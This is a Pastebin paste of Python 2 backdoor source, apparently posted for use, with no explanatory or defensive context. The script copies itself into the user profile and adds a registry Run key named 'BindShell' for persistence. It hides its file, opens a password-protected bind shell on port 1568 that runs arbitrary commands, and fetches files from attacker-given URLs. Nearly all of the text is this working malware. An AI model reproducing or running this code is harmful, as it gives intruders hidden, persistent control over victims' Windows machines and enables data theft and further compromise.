Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket, os, thread, subprocess, sys, urllib2
- subprocess.call('copy ' + os.path.split(sys.argv[0])[1] + ' %userprofile%' + '\\' + os.path.split(sys.argv[0])[1], shell=True)
- subprocess.call('REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /f /v BindShell /d %userprofile%' + '\\' + os.path.split(sys.argv[0])[1], shell=True)
- subprocess.call('attrib +s +r +h %userprofile%' + '\\' + os.path.split(sys.argv[0])[1], shell=True)
- def connection(conn):
- conn.setblocking(1)
- conn.send("USER: ")
- user = conn.recv(1024)
- conn.send("PASS: ")
- passwd = conn.recv(1024)
- if user.strip('\r\n') =='ManWuzi' and passwd.strip('\r\n') == 'NullByte':
- conn.send('Connection Established!')
- while True:
- conn.send('\n$')
- data = conn.recv(1024)
- if data.strip('\r\n') == 'quit' or data.strip('\r\n') == 'exit':
- conn.close()
- break
- elif data.strip('\r\n').startswith('cd'):
- try:
- os.chdir(data.strip('\r\n')[3:])
- except:
- conn.send('The system path cannot be found!')
- elif data.strip('\r\n').startswith('wget'):
- try:
- f = open(os.path.basename(data[5:]), "wb")
- f.write(urllib2.urlopen(data[5:]))
- f.close()
- conn.send("Successfully downloaded %s" %os.path.basename(data[5:]))
- except:
- conn.send("Download failed!")
- else:
- proc = subprocess.Popen(data.strip('\r\n'), shell=True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)
- stdoutput = proc.stdout.read() + proc.stderr.read()
- conn.send(stdoutput)
- else:
- conn.send("Incorrect user/pass combination!\n")
- conn.close()
- while True:
- try:
- s = socket.socket()
- s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
- s.bind(('', 1568))
- s.listen(5)
- while True:
- s.settimeout(2)
- try:
- conn, addr = s.accept()
- except socket.timeout:
- continue
- if(conn):
- s.settimeout(None)
- thread.start_new_thread(connection, (conn,))
- except: pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement